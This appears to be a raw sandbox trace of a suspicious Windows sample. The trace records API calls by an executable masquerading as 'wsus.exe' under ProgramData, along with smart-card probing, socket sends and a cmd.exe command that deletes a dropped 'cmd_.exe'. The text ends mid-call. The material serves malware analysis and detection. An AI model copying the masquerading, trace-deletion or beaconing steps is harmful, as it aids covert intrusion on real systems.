SetLastError (dwErrCode=0x0) [0092.267] GetLastError () returned 0x0 [0092.267] SetLastError (dwErrCode=0x0) [0092.267] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x654f6c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Settings\\wsus.exe" (normalized: "c:\\programdata\\settings\\wsus.exe")) returned 0x20 [0092.267] lstrlenW (lpString="C:\\ProgramData\\Settings\\wsus.exe") returned 32 [0092.267] CreateFileW (lpFileName="C:\\ProgramData\\Settings\\wsus.exe" (normalized: "c:\\programdata\\settings\\wsus.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0092.268] ReadFile (in: hFile=0x160, lpBuffer=0x249f2bc, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x249f2b8, lpOverlapped=0x0 | out: lpBuffer=0x249f2bc*, lpNumberOfBytesRead=0x249f2b8*=0x400, lpOverlapped=0x0) returned 1 [0092.268] CloseHandle (hObject=0x160) returned 1 [0092.268] FileTimeToSystemTime (in: lpFileTime=0x249f6e0, lpSystemTime=0x249f6d0 | out: lpSystemTime=0x249f6d0) returned 1 [0092.268] GetDateFormatA (in: Locale=0x800, dwFlags=0x0, lpDate=0x249f7e8, lpFormat="dd'-'MM'-'yyyy", lpDateStr=0x249f8c0, cchDate=128 | out: lpDateStr="30-05-2018") returned 11 [0092.269] GetTimeFormatA (in: Locale=0x800, dwFlags=0x8, lpTime=0x249f7e8, lpFormat=0x0, lpTimeStr=0x249f840, cchTime=128 | out: lpTimeStr="20:04:01 PM") returned 12 [0092.269] GetLastError () returned 0x0 [0092.269] SetLastError (dwErrCode=0x0) [0092.269] GetLastError () returned 0x0 [0092.269] SetLastError (dwErrCode=0x0) [0092.269] GetLastError () returned 0x0 [0092.269] SetLastError (dwErrCode=0x0) [0092.269] GetLastError () returned 0x0 [0092.269] SetLastError (dwErrCode=0x0) [0092.269] GetLastError () returned 0x0 [0092.269] SetLastError (dwErrCode=0x0) [0092.269] GetLastError () returned 0x0 [0092.269] SetLastError (dwErrCode=0x0) [0092.269] SCardEstablishContext (in: dwScope=0x2, pvReserved1=0x0, pvReserved2=0x0, phContext=0x249f6f4 | out: phContext=0x249f6f4) returned -2146435043 [0092.431] SCardReleaseContext (hContext=0x0) returned 6 [0092.432] GetLastError () returned 0x3f0 [0092.432] SetLastError (dwErrCode=0x3f0) [0092.432] GetLastError () returned 0x3f0 [0092.432] SetLastError (dwErrCode=0x3f0) [0092.432] GetLastError () returned 0x3f0 [0092.432] SetLastError (dwErrCode=0x3f0) [0092.433] GetLastError () returned 0x3f0 [0092.433] SetLastError (dwErrCode=0x3f0) [0092.433] GetLastError () returned 0x3f0 [0092.433] SetLastError (dwErrCode=0x3f0) [0092.433] GetLastError () returned 0x3f0 [0092.433] SetLastError (dwErrCode=0x3f0) [0092.433] GetLastError () returned 0x3f0 [0092.433] SetLastError (dwErrCode=0x3f0) [0092.433] GetLastError () returned 0x3f0 [0092.433] SetLastError (dwErrCode=0x3f0) [0092.433] GetLastError () returned 0x3f0 [0092.434] SetLastError (dwErrCode=0x3f0) [0092.434] GetLastError () returned 0x3f0 [0092.434] SetLastError (dwErrCode=0x3f0) [0092.434] GetLastError () returned 0x3f0 [0092.434] SetLastError (dwErrCode=0x3f0) [0092.434] GetLastError () returned 0x3f0 [0092.434] SetLastError (dwErrCode=0x3f0) [0092.435] GetLastError () returned 0x3f0 [0092.435] SetLastError (dwErrCode=0x3f0) [0092.435] GetLastError () returned 0x3f0 [0092.435] SetLastError (dwErrCode=0x3f0) [0092.435] GetLastError () returned 0x3f0 [0092.435] SetLastError (dwErrCode=0x3f0) [0092.435] GetLastError () returned 0x3f0 [0092.435] SetLastError (dwErrCode=0x3f0) [0092.435] GetLastError () returned 0x3f0 [0092.436] SetLastError (dwErrCode=0x3f0) [0092.436] GetLastError () returned 0x3f0 [0092.436] SetLastError (dwErrCode=0x3f0) [0092.436] GetLastError () returned 0x3f0 [0092.436] SetLastError (dwErrCode=0x3f0) [0092.436] GetLastError () returned 0x3f0 [0092.436] SetLastError (dwErrCode=0x3f0) [0092.436] GetLastError () returned 0x3f0 [0092.436] SetLastError (dwErrCode=0x3f0) [0092.436] GetLastError () returned 0x3f0 [0092.436] SetLastError (dwErrCode=0x3f0) [0092.437] GetLastError () returned 0x3f0 [0092.437] SetLastError (dwErrCode=0x3f0) [0092.437] GetLastError () returned 0x3f0 [0092.437] SetLastError (dwErrCode=0x3f0) [0092.437] GetLastError () returned 0x3f0 [0092.437] SetLastError (dwErrCode=0x3f0) [0092.437] GetLastError () returned 0x3f0 [0092.437] SetLastError (dwErrCode=0x3f0) [0092.437] GetLastError () returned 0x3f0 [0092.437] SetLastError (dwErrCode=0x3f0) [0092.437] GetLastError () returned 0x3f0 [0092.437] SetLastError (dwErrCode=0x3f0) [0092.437] GetLastError () returned 0x3f0 [0092.437] SetLastError (dwErrCode=0x3f0) [0092.438] GetLastError () returned 0x3f0 [0092.438] SetLastError (dwErrCode=0x3f0) [0092.438] GetLastError () returned 0x3f0 [0092.438] SetLastError (dwErrCode=0x3f0) [0092.438] GetLastError () returned 0x3f0 [0092.438] SetLastError (dwErrCode=0x3f0) [0092.439] select (in: nfds=241, readfds=0x0, writefds=0x249f5dc, exceptfds=0x0, timeout=0x249f5cc | out: readfds=0x0, writefds=0x249f5dc, exceptfds=0x0) returned 1 [0092.439] __WSAFDIsSet (param_1=0xf0, param_2=0x249f5dc) returned 1 [0092.439] send (in: s=0xf0, buf=0x662e88*, len=131, flags=0 | out: buf=0x662e88*) returned 131 [0092.440] select (in: nfds=241, readfds=0x249f7b0, writefds=0x0, exceptfds=0x0, timeout=0x249f7a8 | out: readfds=0x249f7b0, writefds=0x0, exceptfds=0x0) returned 0 [0147.707] __WSAFDIsSet (param_1=0xf0, param_2=0x249f7b0) returned 0 [0147.707] SCardEstablishContext (in: dwScope=0x2, pvReserved1=0x0, pvReserved2=0x0, phContext=0x249f8c0 | out: phContext=0x249f8c0) returned -2146435043 [0147.726] SCardReleaseContext (hContext=0x0) returned 6 [0147.726] select (in: nfds=241, readfds=0x0, writefds=0x249f7a8, exceptfds=0x0, timeout=0x249f798 | out: readfds=0x0, writefds=0x249f7a8, exceptfds=0x0) returned 1 [0147.726] __WSAFDIsSet (param_1=0xf0, param_2=0x249f7a8) returned 1 [0147.727] send (in: s=0xf0, buf=0x662e88*, len=2, flags=0 | out: buf=0x662e88*) returned 2 [0147.747] select (in: nfds=241, readfds=0x249f7b0, writefds=0x0, exceptfds=0x0, timeout=0x249f7a8 | out: readfds=0x249f7b0, writefds=0x0, exceptfds=0x0) returned 1 [0147.801] __WSAFDIsSet (param_1=0xf0, param_2=0x249f7b0) returned 1 [0147.801] select (in: nfds=241, readfds=0x249f6a4, writefds=0x249f7a8, exceptfds=0x0, timeout=0x249f68c | out: readfds=0x249f6a4, writefds=0x249f7a8, exceptfds=0x0) returned 1 [0147.801] __WSAFDIsSet (param_1=0xf0, param_2=0x249f6a4) returned 1 [0147.801] recv (in: s=0xf0, buf=0x249f8db, len=1, flags=0 | out: buf=0x249f8db*) returned 1 [0147.801] select (nfds=241, readfds=0x249f7b0, writefds=0x0, exceptfds=0x0, timeout=0x249f7a8) Thread: id = 192 os_tid = 0xb44 Thread: id = 197 os_tid = 0x8e0 Thread: id = 198 os_tid = 0x8c8 Thread: id = 199 os_tid = 0x8dc Thread: id = 215 os_tid = 0x0 Process: id = "22" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x164c0000" os_pid = "0xa60" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x814" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" /c del C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe >> NUL" cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3340 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3341 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3342 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3343 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3344 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3345 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3346 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3347 start_va = 0x4a7d0000 end_va = 0x4a81bfff entry_point = 0x4a7d0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3348 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3349 start_va = 0x775d0000 end_va = 0x7774ffff entry_point = 0x775d0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3350 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3351 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3352 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3353 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3354 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3355 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3356 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3357 start_va = 0x1e0000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3358 start_va = 0x74d90000 end_va = 0x74debfff entry_point = 0x74d90000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3359 start_va = 0x74df0000 end_va = 0x74e2efff entry_point = 0x74df0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3360 start_va = 0x74e50000 end_va = 0x74e57fff entry_point = 0x74e50000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3382 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3383 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3384 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3385 start_va = 0x4c0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3386 start_va = 0x6f0000 end_va = 0x6fffff entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 3387 start_va = 0x750d0000 end_va = 0x750d6fff entry_point = 0x750d0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3388 start_va = 0x75120000 end_va = 0x7512bfff entry_point = 0x75120000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3389 start_va = 0x75130000 end_va = 0x7518ffff entry_point = 0x75130000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3390 start_va = 0x75290000 end_va = 0x752d5fff entry_point = 0x75290000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3391 start_va = 0x75440000 end_va = 0x7554ffff entry_point = 0x75440000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3392 start_va = 0x75900000 end_va = 0x759abfff entry_point = 0x75900000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3393 start_va = 0x75d10000 end_va = 0x75e0ffff entry_point = 0x75d10000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3394 start_va = 0x75e10000 end_va = 0x75e9ffff entry_point = 0x75e10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3395 start_va = 0x75ea0000 end_va = 0x75f3cfff entry_point = 0x75ea0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3396 start_va = 0x760a0000 end_va = 0x760a9fff entry_point = 0x760a0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3397 start_va = 0x76e20000 end_va = 0x76e38fff entry_point = 0x76e20000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3398 start_va = 0x76f00000 end_va = 0x76feffff entry_point = 0x76f00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3399 start_va = 0x77130000 end_va = 0x771cffff entry_point = 0x77130000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3400 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x0 region_type = private name = "private_0x00000000771d0000" filename = "" Region: id = 3401 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x0 region_type = private name = "private_0x00000000772d0000" filename = "" Region: id = 3402 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3403 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3404 start_va = 0x700000 end_va = 0x887fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 3405 start_va = 0x75300000 end_va = 0x753cbfff entry_point = 0x75300000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3406 start_va = 0x76dc0000 end_va = 0x76e1ffff entry_point = 0x76dc0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3407 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3408 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3409 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3410 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3411 start_va = 0x890000 end_va = 0xa10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 3412 start_va = 0xa20000 end_va = 0x1e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 3413 start_va = 0x1e20000 end_va = 0x2162fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Thread: id = 189 os_tid = 0xa70 [0089.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3aff1c | out: lpSystemTimeAsFileTime=0x3aff1c*(dwLowDateTime=0x103cc350, dwHighDateTime=0x1d3fd7c)) [0089.475] GetCurrentProcessId () returned 0xa60 [0089.475] GetCurrentThreadId () returned 0xa70 [0089.475] GetTickCount () returned 0xa6f0d6 [0089.475] QueryPerformanceCounter (in: lpPerformanceCount=0x3aff14 | out: lpPerformanceCount=0x3aff14*=569307298) returned 1 [0089.475] GetModuleHandleA (lpModuleName=0x0) returned 0x4a7d0000 [0089.475] __set_app_type (_Type=0x1) [0089.475] __p__fmode () returned 0x759a31f4 [0089.475] __p__commode () returned 0x759a31fc [0089.475] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7f21a6) returned 0x0 [0089.476] __getmainargs (in: _Argc=0x4a7f4238, _Argv=0x4a7f4240, _Env=0x4a7f423c, _DoWildCard=0, _StartInfo=0x4a7f4140 | out: _Argc=0x4a7f4238, _Argv=0x4a7f4240, _Env=0x4a7f423c) returned 0 [0089.476] GetCurrentThreadId () returned 0xa70 [0089.476] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa70) returned 0x60 [0089.476] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75440000 [0089.476] GetProcAddress (hModule=0x75440000, lpProcName="SetThreadUILanguage") returned 0x7546a84f [0089.476] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.476] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0089.476] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3afeac | out: phkResult=0x3afeac*=0x0) returned 0x2 [0089.476] VirtualQuery (in: lpAddress=0x3afee3, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x3af000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0089.476] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0089.476] VirtualQuery (in: lpAddress=0x2b1000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x2b1000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0089.476] VirtualQuery (in: lpAddress=0x2b3000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x2b3000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0089.476] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x3b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x110000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0089.476] GetConsoleOutputCP () returned 0x1b5 [0089.476] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7f4260 | out: lpCPInfo=0x4a7f4260) returned 1 [0089.476] SetConsoleCtrlHandler (HandlerRoutine=0x4a7ee72a, Add=1) returned 1 [0089.477] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.477] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0089.477] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.477] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7f41ac | out: lpMode=0x4a7f41ac) returned 1 [0089.477] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.477] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.477] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.477] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7f41b0 | out: lpMode=0x4a7f41b0) returned 1 [0089.477] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.477] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0089.477] GetEnvironmentStringsW () returned 0x4d2228* [0089.477] FreeEnvironmentStringsW (penv=0x4d2228) returned 1 [0089.477] GetEnvironmentStringsW () returned 0x4d2228* [0089.478] FreeEnvironmentStringsW (penv=0x4d2228) returned 1 [0089.478] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3aee1c | out: phkResult=0x3aee1c*=0x68) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x0, lpcbData=0x3aee20*=0x1000) returned 0x2 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x1000) returned 0x2 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x0, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x1000) returned 0x2 [0089.478] RegCloseKey (hKey=0x68) returned 0x0 [0089.478] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3aee1c | out: phkResult=0x3aee1c*=0x68) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x1000) returned 0x2 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x1000) returned 0x2 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x0, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x9, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x9, lpcbData=0x3aee20*=0x4) returned 0x0 [0089.478] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x9, lpcbData=0x3aee20*=0x1000) returned 0x2 [0089.478] RegCloseKey (hKey=0x68) returned 0x0 [0089.478] time (in: timer=0x0 | out: timer=0x0) returned 0x5b17aed5 [0089.478] srand (_Seed=0x5b17aed5) [0089.478] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c del C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe >> NUL" [0089.478] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c del C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe >> NUL" [0089.478] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7f5260 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.479] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4d4510, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0089.479] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0089.479] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0089.479] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0089.479] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.479] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a800640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0089.479] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0089.479] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0089.479] _wcsicmp 